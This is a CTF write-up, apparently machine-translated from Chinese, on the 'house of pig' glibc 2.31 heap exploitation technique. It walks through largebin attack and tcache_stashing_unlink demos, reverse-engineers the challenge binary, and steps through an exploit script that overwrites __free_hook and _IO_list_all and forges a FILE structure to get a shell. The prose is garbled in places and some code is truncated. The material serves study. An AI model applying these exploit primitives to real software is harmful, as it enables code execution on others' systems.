Detailed explanation of house of pig

Before reproducing this question, you need to know some pre knowledge: largebin under libc2.31_ attack,tcache_stashing_unlink plus and IO under glibc_ File attack

First, see largebin under libc2.31_ attack


0x1.largebin under libc2.31_ attack

Follow the largebin in the how2heap project_ Attack and source code debugging.

Starting with libc2.30, two checks have been added to largebin's insert code

See the first point first

When the unseorted bin is inserted into the largebin, and the unseorted bin is larger than the size of largebin, a two-way linked list integrity check is added in the insertion process.

It is usually to modify the BK of largebin_ nextsize=target_addr-0x20, and then when inserting an unseorted bin larger than the original largebin (later, the original largebin is called largebin1, and the newly inserted largebin2), the BK of largebin1 is_ Nextsize is set to BK of largebin1_ Nextsize, i.e. target_addr-0x20, subsequent victim - > bk_nextsize->fd_ The statement nextsize = victim will_ The addr-0x20 + 0x20 position writes the address of largebin2, which is the first point.

The second point is as follows

The utilization method here is to modify BK = target of largebin1_ addr-0x10,bck = fwd->bk; bck->fd = victim; After these two sentences are executed, target will be_ Write the address of largebin1 at the position of addr-0x10 + 0x10.

As shown in the figure, checks are added in both places.

However, when the unseorted bin to be inserted is smaller than the size of largebin, it is not checked, as shown in the following figure

There is no check here, so it has become a new utilization point under libc2.31.

The demo file is as follows

A revisit to large bin attack for after glibc2.30
Relevant code snippet :
    if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
        fwd = bck;
        bck = bck->bk;
        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
int main(){
  /*Disable IO buffering to prevent stream from interfering with heap*/
  size_t target = 0;
  size_t *p1 = malloc(0x428);
  size_t *g1 = malloc(0x18);
  size_t *p2 = malloc(0x418);
  size_t *g2 = malloc(0x18);
  size_t *g3 = malloc(0x438);
  p1[3] = (size_t)((&target)-4);
  size_t *g4 = malloc(0x438);
  assert((size_t)(p2-2) == target);
  return 0;

I deleted some descriptive code from the original file for viewing.

The overall attack idea is to apply for two chunks (hereinafter referred to as chunk1 and chunk2), free out chunk1, and then apply for a larger chunk to insert chunk1 from unsortedbin into largebin, and then insert the BK of chunk1_ Set nextsize to target_addr-0x20, this is the first step; The second step is to free out chunk2, and then apply for a larger chunk to insert chunk2 from unsortedbin into largebin. Since the size of the inserted chunk2 is smaller than chunk1, a new attack process will be triggered. Here, we use source code debugging to learn more intuitively.

From program execution to size_t *g4 = malloc(0x438); In this sentence, the heap is as follows

The chunk of 0x430 is placed in the largebin, and the chunk of 0x420 is placed in the unsortedbin

BK of chunk1_ Nextsize is set to target_addr-0x20

Next, we'll take the breakpoint_ int_malloc function

Then we run the code that inserts the unsortedbin into largebin

First, get the index of the largebin corresponding to the unsortedbin to be inserted, and then get the corresponding chain header

Since there is already a chunk in largebin at this time, fd and bk corresponding to the chain header are set as the address of this largebin, similar to the following

Then enter the insertion link

Assign bck, that is, the chain header to fwd, and assign bck - > BK (address of chunk1) to bck. Enter the insertion operation. First, FD of chunk2 (chuhnk to be inserted)_ Next size is set to the address of chunk1

Then the BK of chunk2_ BK with nextsize set to chunk1_ Nextsize, while chunk1's bk_nextsize has been modified to target_addr-0x20, so the BK of chunk2_ Nextsize will also point to target_addr-0x20


The last line of code is used to modify the FD of chunk1_ Nextsize and bk_nextsize is the address of chunk2, because the FD of chunk1 is set_ Nextsize is through

victim->bk_ nextsize->fd_ Next size, and victim - > Bk_ Nextsize refers to a wrong address. After executing this assignment statement, it will be in target_ Write the address of chunk2 at the position of addr + 0x20


So far, it is similar to the unsortedbin attack under libc2.23, and writes a heap address to any address.

0x2.tcache_stashing_unlink plus

In this way, a chunk can be allocated at any address

The demo is as follows

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim[4] = {0, 0, 0, 0};
int main(int argc, char **argv){
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    char *t1;
    char *s1, *s2, *pad;
    char *tmp;
    printf("You can use this technique to get a tcache chunk to arbitrary address\n");
    printf("\n1. need to know heap address and the victim address that you need to attack\n");
    tmp = malloc(0x1);
    printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
        &victim, victim[0], victim[1], victim[2], victim[3]);
    printf("heap address: %p\n", tmp-0x260);
    printf("\n2. change victim's data, make victim[1] = &victim, or other address to writable address\n");
    victim[1] = (uint64_t)(&victim);
    printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
        victim[0], victim[1], victim[2], victim[3]);
    printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
    printf("Here, I choose the size 0x60\n");
    for(int i=0; i<5; i++){
        t1 = calloc(1, 0x50);
    printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
        t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
    printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
    s1 = malloc(0x420);
    printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
    pad = malloc(0x20);
    printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
    printf("Free chunk %p to unsortedbin\n", s1);
    printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
    printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
    printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
    printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
    printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
    s2 = malloc(0x420);
    pad = malloc(0x80);
    printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
    printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
    printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
    printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
    *(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
    printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
    calloc(1, 0x50);
    printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
        &victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
    printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");
    uint64_t *r = (uint64_t*)malloc(0x50);
    r[0] = 0xaa;
    r[1] = 0xbb;
    r[2] = 0xcc;
    r[3] = 0xdd;
    printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
        victim[0], victim[1], victim[2], victim[3]);
    return 0;

The overall idea is as follows

1. Put five in tcache and two in smallbin

2. Modify the BK of the chunk of the backward smallbin (without destroying the fd pointer) to the target address - 0x10, and set the value at the target address + 0x8 to a pointer to the writable memory.

3. Take a chunk from smallbin. After the stash process, the target address will be linked into tcache.

Still source debugging

Set the breakpoint to calloc(1, 0x50); This line, and_ int_malloc

Let's take a look at the memory at this time

Victim is our target. The position of & victim + 0x8 has been set as a pointer to writable memory

The bk pointer of smallbin after entering points to & victim-0x10


There are five in the tcache of 0x60 and two in the smallbin of 0x60

Next, we follow up to int_malloc

Since calloc does not take a chunk from tcache, it will directly take a chunk from smallbin

The structure of the chain header and the two smallbin s is as follows

victim = last (bin) takes the last chunk (it can be seen clearly from the above structure diagram)

last is a macro definition, as follows

#define last(b)      ((b)->bk)

Then traverse forward, take the penultimate chunk, and check the integrity of the two-way linked list

bin->bk = bck;
bck->fd = bin;

These two codes unlink the last chunk. After execution, the structure is as follows

Then run here

size_t tc_idx = csize2tidx (nb); It will first calculate which chain of tcache corresponds to the size of the chunk applied at this time

If there is space in tcache of this chain and smallbin also has chunk s

If the conditions are met, then take out the last chunk in smallbin

bck  =  tc_ victim->bk;// Take the penultimate smallbin, but TC_ Victim - > BK has been set to & victim-0x10

set_inuse_bit_at_offset (tc_victim, nb);

if (av != &main_arena)

    set_non_main_arena (tc_victim);

bin->bk = bck;

bck->fd  =  bin;// Unlink the penultimate chunk

Run the above codes in sequence

bck, if we analyze the same, is & victim-0x10

The bk pointer of the chain header points to & victim-0x10

BCK - > FD = bin, i.e. & victim-0x10 + 0x10 = & victim is set as the bin header. After chaining, the structure is as follows

Then tc_victim into tcache

Before putting

After putting

I believe you can probably understand why this attack method can assign a chunk to any address. At this time, there is still a vacancy in tcache. The program will continue to take chunk from smallbin and put it into tcache. At this time, only victim is left in smallbin. Let's continue debugging

A new round of tc_victim is & victim-0x10

Next, you will find the penultimate chunk

Therefore, we need to set & victim-0x10 + 0x18 as a writable address x to write the bin header address, which is set at the beginning of demo.

victim[1] = (uint64_t)(&victim);

The next step is to continue to unlink and then add victim to tcache

This completes the attack

0x3. In higher version_ IO_FILE utilization

Under 2.23, a general attack on the file structure is to hijack IO functions_ The chain field is our forged io_ FILE_ Add, and then modify the IO in the vtable table_ str_ Overflow is system. In higher versions of libc, such as libc2.31, IO is still used_ str_ Overflow this function, but IO_ str_ The implementation of the overflow function has changed

_IO_str_overflow (FILE *fp, int c)
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size);
      if (new_buf == NULL)
          /*      __ferror(fp) = 1; */
          return EOF;
      if (old_buf)
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
      memset (new_buf + old_blen, '\0', new_size - old_blen);
      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;

You can see io_str_overflow calls malloc, memcpy, free and other functions

Let's go back to malloc's parameter new_ Source of size

size_t new_size = 2 * old_blen + 100;
size_t old_blen = _IO_blen (fp);
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

If we can control (FP) - >_ IO_ buf_ end - (fp)->_ IO_ buf_ Base can control the chunk size of malloc application. See the following paragraph

if (old_buf)//char *old_buf = fp->_IO_buf_base;
          memcpy (new_buf, old_buf, old_blen);
          free (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;

If old_ If there is data in the memory space pointed to by buf, memcpy will be used to replace old_ Copy the data in buf to new_ In buf, the length of the copy is old_blen, and then free (old_buf);

See again_ IO_ str_ Assembly of overflow

In the + 53 line, the value at [rdi+0x28] will be sent to rdx. Since libc2.29, the gadget index in setcontext has changed from rdi to rdx. You need to control the value of rdx before subsequent srop

And_ IO_ str_ The assembly in overflow can assign rdx exactly, and the source is rdi. rdi is exactly the first address of the FILE structure. We can srop only by setting fp+0x28 as the address we can control, and this statement is executed before malloc, so the method is: first set malloc_hook is set to setcontext+61, and then triggered_ IO_str_overflow, set the corresponding data in the FILE structure we forged in advance, so as to assign rdx to the address we can control, and then_ IO_str_overflow calls malloc to trigger setcontext for srop.

The conditions for triggering malloc are as follows

fp->_flags=0;//if (fp->_flags & _IO_USER_BUF) return EOF;/* not allowed to enlarge */
0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x00007ffff7e2f0dd <+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100);
memcpy (new_buf, fp->_IO_buf_base, (fp)->_IO_buf_end - (fp)->_IO_buf_base);
free (fp->_IO_buf_base); of pig

libc version is 2.31, written in c + +

0x1. Repair switch table

IDA decompile and view the main function

See one  __ ASM {JMP rax}. This is because IDA failed to correctly recognize the switch jump. Fix it and see the assembly

The address of jmp rax is 0x3794 and the jump table is 0x69e0

The jump table is byte by byte. Press d continuously to modify it into a group of four bytes, with a total of 6 jumps

Next, start to repair the jump table. First select the assembly of jmp rax, and then select specify switch idiom according to the following path

The configuration is as follows

From top to bottom

Address of jump table; Number of jumps; The length of each jump value; Base value; The position where the jump starts; Register used for jump; /; Default jump position.

After the repair is successful, it is shown below

Much more comfortable.

0x2. Restore structure

Start analyzer

Click any function at the beginning of the program

A series of operations to assign 0. I don't understand what it means. Continue

Find menu

There are five functions: adding, querying, modifying, deleting and switching characters

Click the function corresponding to case 1, that is, the add function

  There is a switch nested inside. Click the function corresponding to case1 to have a look


It's very ugly. Many operations are performed on addresses. In this case, restore the structure of the program as much as possible to facilitate subsequent analysis. First, roughly analyze the flow of this function.

You can apply up to 20 times. The size of the applied chunk must be greater than or equal to 0x90 and less than or equal to 0x430. And the size of the chunk of each application must be greater than or equal to that of the last application. The calloc function is used to apply for heap blocks, and calloc does not get from tcache.

*(_DWORD *)(unk_9070 + 0x150LL) = v8;

If size is legal, assign size to * (_ DWORD *)(unk_9070 + 0x150LL), this unk_9070 stores the address of a piece of memory from mmap.

*(_DWORD *)(a1 + 4 * (i + 48LL)) = v8;
*(_BYTE *)(a1 + i + 288) = 0;
*(_BYTE *)(a1 + i + 312) = 0;

This section of addressing is not clear. Let's modify the type of parameters passed in by this function

  It was originally int64 type, and we modified it to char*  , Press y on the parameter to modify the type

After modification, the above paragraph becomes as follows

In this way, it looks clearer than the above paragraph. Assign a1[4 * i + 0xC0] to size, and assign a1[i + 0x120] and a1[i + 0x138] to 0

Keep looking down

size/0x30, that is, slice the requested chunk in the size of 0x30, and read 0x10 bytes of data to the top of the slice each time.

This function is almost analyzed here, but if we want to restore the structure used by the program, this information is not enough. Continue to analyze other functions.

See case 2 of the add function again

The function of case 2 is different from that of case 1 in only a few places

The location where size is stored in mmap has changed

After the chunk is sliced, it is no longer written from the top, but from the offset 0x10

The functions corresponding to case3 are also different in these two places, so I won't say any more.

It can be guessed from the add function that the parameter passed in by the add function should be a structure,

*(_QWORD *)&a1[8 * i] = calloc(1uLL, v8); //Storage heap address
*(_DWORD *)&a1[4 * i + 0xC0] = v8; //Store chunk size
a1[i + 0x120] = 0; //Meaning unknown
a1[i + 0x138] = 0;//Meaning unknown

See the view function again

First judge * (int *) (uNK_ Whether the value of 9070 + 0x404ll) is greater than 0, and then there are still three functions. Enter the first function

Enter a sequence number, and then there will be the following three judgments

*(_QWORD *)&a1[8 * v4] //Determine whether the chunk exists
*(_DWORD *)&a1[4 * v4 + 0xC0] //Judge whether the corresponding size exists
!a1[v4 + 0x120]

If these three conditions are met, the corresponding chunk value will be output

The other two functions are basically the same

See the edit function

Like the view function, the value * (int *) (uNK) of a global variable is checked at the beginning_ 9070 + 0x408ll) is greater than 0. Only when it is greater than 0 will it enter the sub function of edit. Check the first function

There are still three judgments, which are the same as the judgment of view. If you pass the judgment, you will write data to the chunk again. It is also slicing first and then writing data, which is the same as the logic in the add function

See the delete function

The delete function has no limit on the number of times and enters the first sub function

The delete function still has three checks

*(_QWORD *)&a1[8 * v4]
&& !a1[v4 + 0x120]
&& !a1[v4 + 0x138]

Check if chunk exists, check! a1[v4 + 0x120]   And! A1 [V4 + 0x120] check whether the two positions are 0. If it passes the check, free is performed and the two flags are set to 1, but the heap pointer is not cleared to 0.

The first four functions are analyzed, and the fifth function will be discussed later. We will restore the structure used by the program through these four functions

The summary is as follows

1. The structure needs to store at least a heap address of 20*8=0xa0

2. Also need to store size data of 20*4=0x50

3. The view and edit functions use a1[v4  +  Flag bit at 0x120]

4. The delete function uses a1[v4  +  0x138] and a1[v4  +  The flag bit at 0x120], that is, the structure should have two flag bit groups, and the size of the array element is 1 byte. Therefore, the structure also needs to store flag bits with the size of 20*1*2=0x28

The preliminary guess is that the structure should be as follows

struct house
    char *list[20];
    int size[20];
    char flag[20];
    char flagg[20];

But this is actually wrong. Go back to the add function

The heap address is stored from the head of the structure, and the size data is stored from the structure offset 0xc0. If only 20 heap addresses are stored, only the size of 0xa0 is occupied, and the size should be stored from 0xa0; To store size from 0xc0, the upper limit of heap address storage should be 0xc0/0x8=0x18. Similarly, the upper limit of size, flag and flag should also be 0x18 (you can calculate by yourself. If the upper limit is 0x18, all offsets will be met). In this case, the structure should be as follows

struct house{    char *list[0x18];    int size[0x18];    char flag[0x18];    char flagg[0x18];};

After planning the structure, you can add it to ida

Click to the local types interface

Right click and select insert

Enter structure code directly

Our custom structure types will appear in local types

Let's go back to the add function and modify the parameter type

Change it to house * type

Modified successfully

We then modify the parameter types of the functions that use this structure in the program

For example, a large number of functions assigned 0 that we entered at the beginning become the following after modification

A little bit clear

Other positions that need to be modified into the house structure will not be modified one by one. You can operate them yourself

However, there is more than one structure in the program, in the add function

Obviously, the space pointed to by the value of 0x9070 is also a structure. Let's restore this structure next

At the beginning of the program, there is such a function

Copy the data pointing to the position 0x9070 into the house structure, and the copy size of each memcpy function is the size of different members of the house structure

Now let's move on to function 5 Change roles

Let's enter the password, call strlen to get the length of the password, and call sub_13C9 this function

unsigned __int64 __fastcall sub_13C9(_DWORD *a1)
  unsigned __int64 v2; // [rsp-10h] [rbp-10h]
  v2 = __readfsqword(0x28u);
  *a1 = 0;
  a1[1] = 0;
  a1[2] = 0x67452301;
  a1[3] = 0xEFCDAB89;
  a1[4] = 0x98BADCFE;
  a1[5] = 0x10325476;
  return __readfsqword(0x28u) ^ v2;

This string of hexadecimal numbers is a feature of md5 encryption, followed by sub_2916 and sub_2A8B doesn't need to look at it. In fact, it is to md5 encrypt the password we entered, and then compare the md5 encrypted data with the set md5 value. There are three conditions for comparison

If any one is satisfied, you can enter the if code block. Note that the first two comparisons use memcmp, while the third comparison uses strcmp. strcmp has the problem of 0 character truncation. We see DWORD_ six thousand nine hundred and twenty-eight

There is \ x00 at the beginning of this string of md5, so it will be truncated in advance when comparing with this string of md5 values. Therefore, we are only looking for the original value corresponding to md5 starting with 0x3c4400

We will see the if code block again. The code in if will determine which of a, B and C is the first character of the password we enter, and then return 1 or 2 or 3 to switch roles.

According to the above analysis, if we want to switch roles, the entered password needs to start with A, B or C, and after md5 encryption, it needs to start with 0x3c4400. There are still some original values of such A string of md5. We wrote A bad script, um, burst, and found the qualified password in 9 digits

import hashlib
def main():
    start = "3c4400"
    while True:
        for i in range(100000000):
            print "Test %s " % s
            if hashlib.md5(s).hexdigest().startswith(start):
if __name__ == '__main__':

If the masters have a better way, I hope they can give some advice (it's too delicious)

You'll see how to change the role later

switch according to the returned role value, select the function to be executed, and enter case1 to check

Copy the data of the house structure to qword_9070 medium

See case2

The same function, except that the target address of the copy has changed, and case3 is the same

So far, let's consider restoring qword_9070 points to the structure. Obviously, according to these three case s, we can infer this structure (later referred to as TMP)_ House) has at least three sizes of the house structure, but there are still some small details to pay attention to. See the add function later



In TMP_ The house structure also needs to store the size of the current size, and each role has a corresponding current_size, so tmp_house should also add three int sizes to the original three house structures, but this is still not enough

In the view function

tmp_ In the house structure, you also need to record the number of times you can view. Note that qword here_ 9070 + 0x101 does not mean that at the offset of 0x101, you also need to see that the pointer of int type in front is four bytes, so it should actually be the offset of 0x101*4=0x404, the current above_ So is size.

In the edit function

tmp_ You also need to record the number of times you can edit in the house structure

Therefore, TMP_ The house structure should be as follows

struct tmp_house
  struct house peppa_house;
  int current_peppasize;
  struct house mummy_house;
  int current_mummysize;
  struct house daddy_house;
  int current_daddysize;
  int show_time;
  int edit_time;

Create a structure in ida to see if our speculation is correct

add function

edit function


This is the end of the structure recovery. Now it will be much more comfortable to analyze the program (many pictures have been pasted. I hope the masters can see it clearly)

0x3. Vulnerability analysis

After the analysis in the previous stage, we have roughly combed the logic of the program. Now let's summarize and add what we haven't mentioned above

First, the program has three roles to choose from, and you can switch back and forth between the three roles. At the beginning of the program, the two flag bits of the structures of the three roles will be cleared to 0. After the program runs, the role of peppa is used by default. Each role has the five functions of adding, deleting, checking, changing and switching. In the view and edit functions, it will check whether the flag of the first flag is 0. Relevant operations can be carried out only when it is 0; The delete function will check whether the flag and flag bits are both 0, and free will be performed only when they are both 0. After free, the flag and flag flags are set to position 1, but the heap pointer is not cleared, so uaf may exist here; Then there is the process of switching roles. Suppose we switch from peppa to mummy

If next_character_num!=character_num, the house structure of the current role will be stored in global first_ In the house, see save_peppa_house this function

Watch carefully. Is there something missing? house has two flag bits, flag and flag, but only the flag bit is saved here. Continue to look down

Then according to next_character_num to restore the scene

In recover_ Global in the peppahouse function_ All data in the house is copied to the house structure of the corresponding role, while global_ The corresponding flag bit in the house is 0, that is, when we use peppa to free a chunk, flag=1, flag=1, and the pointer of the chunk is not cleared to 0, and then switch to mummy, only the flag bit will be stored. When we switch back to peppa, global will be saved_ The flag bit in the house is assigned to the house, so that peppa_house's flag=0 and flag=1. Except that it cannot delete again, the view and edit functions can be used, which is a uaf vulnerability. The same is true for other characters. Switching back and forth once can create a uaf.

0x4. Exploit

The program uses calloc to apply for a chunk, so tcache attack cannot be used, and the requested chunk must be greater than 0x90, and fastbin attack cannot be used (I don't know whether largebin can be used)_ Attack to attack global_max_fast?)

house of pig is essentially through libc2.31   largebin attack and   The FILE structure is used to cooperate with the FILE structure under libc2.31   tcache stashing unlink attack   Method of combined utilization

The overall idea is as follows:

1. tcache_stashing_unlink plus is ready to put five chunks into a tcache chain and two chunks into a smallbin of the same size,

2. Construct largebin, disclose libc address and heap address, conduct largebin attack for the first time, and free_ Write a heap address at the location of hook-0x8

3. tcache_stashing_unlink, free_hook-0x10 is chained into tcache header as a heap address, but we cannot apply for this chunk due to the use of calloc

4. Perform the second largebin attack and_ io_list_all is overwritten into a heap address, and we forge io on this heap_ FILE, the forged FILE structure needs to meet the requirements to call malloc to apply for the chunk in tcache, that is, we need to make 2 * ((FP) - >_ IO_ buf_ end - (fp)->_ IO_buf_base) + 100=free_ The size of the tcache chain where the hook is located, and also modify the vtable pointer, which originally points to IO_file_jumps, change it to point to_ IO_str_jumps, which should have called   IO_file_overflow   The following will be called instead   IO_str_overflow, so that malloc can be called to apply for free_ The space at hook-0x10, and if_ IO_ buf_ If there is data in the space pointed to by the base, the data will be copied to the chunk applied by malloc, so we can use it in io_ buf_ The address of / bin/sh and system are arranged in the space pointed to by base, which is memcpy to free_hook-0x10, IO_str_overflow will free the IO in the end_ buf_ Base points to the chunk, which will trigger the system('/bin/sh')getshell

(I was too lazy, so I took the official exp to explain it directly. Masters are tolerant orz)

The first part is tcache_stashing_unlink prepare

for x in xrange(5):
    Add(0x90, 'B'*0x28) # B0~B4
    Del(x)    # B0~B4
#Here, 0xa0's tcache contains five chunk s
Add(0x150, 'A'*0x68) # A0
for x in xrange(7):
    Add(0x150, 'A'*0x68) # A1~A7
#Put the chunk of 0x160 into the unsortedbin
Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0
#Divide the chunk of 0x160 into 0xc0 and 0xa0, and 0xa0 remains in the unsortedbin
Add(0x180, 'A'*0x78) # A8
#Put the unseortedbin of 0xa0 into smallbin. There is one in smallbin of 0xa0
for x in xrange(7):
    Add(0x180, 'A'*0x78) # A9~A15
#Turn the chunk of 0x190 into the unsortedbin
Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0
#Cut the unsortedbin and 0xa0 remains
#----- leak libc_base and heap_base
Add(0x430, 'A'*0x158) # A16
#Put the unseortedbin of 0xa0 into smallbin. There are currently two chunk s of 0xa0
#So far, tcache_stashing_unlink's preparatory work is partially completed


The bins at this time is shown in the figure above

The second part is to disclose the libc address and heap address

Add(0x430, 'A'*0x158) # A16
Add(0xf0, 'B'*0x48) # B7
#B7 serves as the isolation between A16 and topchunk to prevent A16 from merging with topchunk after being free
#free A16, put A16 into unsortedbin
Add(0x440, 'B'*0x158) # B8
#Apply for a chunk larger than the sortedbin. Put the sortedbin into the largebin, and there will be a chunk of 0x440 in the largebin
#Since bk and fd of largebin are libc addresses, fd_nextsize and bk_nextsize is the heap address, so you can disclose the libc address and heap address through this largebin
#Switch roles, resulting in uaf
ru('message is: ')
libc_base = uu64(rl()) - 0x1ebfe0
#Using uaf to disclose libc address
Edit(16, 'A'*0xf+'\n')
ru('message is: '+'A'*0xf+'\n')
heap_base = uu64(rl()) - 0x13940
#Use edit to cover fd and bk and reveal the heap address

The above figure shows the situation after A16 free

And the following figure shows the bins at this time

The third part is the first largebin_attack will free_hook-0x8 is written as a heap address

#----- first largebin_attack
Edit(16, 2*p64(libc_base+0x1ebfe0) + '\n') # recover
#Recover fd and bk pointers of largebin of 0x440
Add(0x430, 'A'*0x158) # A17
#Apply for chunk in largebin
Add(0x430, 'A'*0x158) # A18
Add(0x430, 'A'*0x158) # A19
#Subsequent use
Add(0x450, 'B'*0x168) # B9
#Put the chunk of B8 0x440 into largebin
#Put the chunk of A17 0x430 into the unsortedbin
free_hook = libc_base + libc.sym['__free_hook']
Edit(8, p64(0) + p64(free_hook-0x28) + '\n')
#Modify FD of B8_ Nextsize and bk_nextsize to meet the requirements of largebin attack note: mummy's edit is written directly from the position offset 0x10. If you forget, you can see the program
Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8
#Before cutting the chunk of 0xb0 from the unsortedbin of 0x430, the chunk of 0x430 will be placed on the largebin first, and then cut. After cutting, the last remainder will be generated, and then the last remainder will be placed on the unsortedbin. When the unsortedbin is placed in the largebin, the largebinattack has already started to free_ A heap address was written at hook-0x8
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover
#Restore site

Here, explain why Add(0xa0, 'C'*0x28) can trigger largebin_attack

In int_ The chunk in the unsortedbin is obtained at the beginning of the large loop of the malloc function

Let's look at it through source code debugging, but only mark a few key points. After all, this is not the focus of this article

pwndbg> p/x size
$2 = 0x440
pwndbg> p victim
$3 = (mchunkptr) 0x55a1135af940
all: 0x55a1135af940 —▸ 0x7f61ad8c2be0 (main_arena+96) ◂— 0x55a1135af940

The chunk in the unsortedbin is retrieved

Unlinking chunk s in unsortedbin

Insert unsortedbin into largebin

After this step, the largebin attack has actually been completed, but we continue to finish the process

There is an extra chunk in largebin

A lot of flag bits will be set later. We can directly see the cutting chunk

After cutting the previous unsortedbin, the remainder is generated

Then put the last_ Insert remainder into unsortedbin

  At the end of the process, the first largebin attack is completed

free_hook-0x8 is written to a heap address

The fourth part is the second largebin attack_ io_list_all writes a heap address

#----- second largebin_attack
Add(0x380, 'C'*0x118) # C1
#Apply for lastremainder back
#free A19, chunk with size of 0x430
IO_list_all = libc_base + libc.sym['_IO_list_all']
Edit(8, p64(0) + p64(IO_list_all-0x20) + '\n')
#The old technique is repeated, and the chunk of 0x440 in largebin is changed to Bk_ Modify nextsize to IO_list_all-0x20
Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all
#As in part 3, trigger largebin_attack
Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover
#Restore site

The second largebin attack is completed

Part V tcache_stashing_unlink plus IO_FILE attack

#----- tcache_stashing_unlink_attack and FILE attack
payload = 'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
Edit(8, payload + '\n')
#A8 was originally a chunk of 0x190 and then cut into chunks of 0xf0 and 0xa0. Due to uaf, edit A8 can be directly modified to fd and bk of smallbin of 0xa0
#tcache_ stashing_ The utilization condition of unlink plus is to modify bk to the target address - 0x10 without modifying fd. Our target address is free_hook-0x10, so change bk to free_hook-0x20
payload = '\x00'*0x18 + p64(heap_base+0x147c0)
payload = payload.ljust(0x158, '\x00')
Add(0x440, payload) # C3 change fake FILE _chain
#io_list_all is overwritten with the address of the largebin of 0x440. We apply for the largebin back, set the next chain in it, and forge IO in the chunk pointed to by the chain_ FILE
Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache
#Trigger tcache_stashing_unlink_attack, free_hook-0x10 linked to tcache
IO_str_vtable = libc_base + 0x1ED560
system_addr = libc_base + libc.sym['system']
fake_IO_FILE = 2*p64(0) #According to our previous analysis, FP - > flag = 0
fake_IO_FILE += p64(1)                    #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff)        #change _IO_write_ptr = 0xffffffffffff
#Meet FP - >_ IO_ write_ ptr - fp->_ IO_ write_ base >= _ IO_ buf_ end - _ IO_ buf_ base
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0)                #v4 _IO_buf_base
fake_IO_FILE += p64(heap_base+0x148b8)                #v5 _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(0)                    #change _mode = 0
